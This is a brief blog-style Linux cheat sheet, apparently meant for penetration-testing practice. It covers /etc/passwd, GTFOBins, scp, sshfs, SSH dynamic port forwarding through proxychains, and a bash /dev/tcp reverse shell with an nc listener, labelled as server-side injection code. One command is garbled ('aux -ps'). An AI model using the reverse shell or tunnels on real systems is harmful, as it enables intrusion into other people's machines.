Something Interesting About Linux
· 1 min read
Linux Introduction
Understand the /etc/passwd
file
Understand /etc/group
file
Very useful link: https://gtfobins.github.io
Useful Commands
crontab -l
aux -ps
SSH
scp [source_file] [user]@$IP:[destination_path]
Mount
sshfs [user]@$IP:[destination_path] [source_file]
SSH Tunnel Dynamic Port Forwarding
vim /etc/proxychains.conf (edit conf to set listening port)
ssh -D <listening port> -l <username>
proxychains <command> (nmap/firefox etc)
Reverse Shell
Listen Side:
nc -nlvp 12345
Server Side Injection Code:
Bash
/bin/bash -i >& /dev/tcp/<ip>/12345 0>&1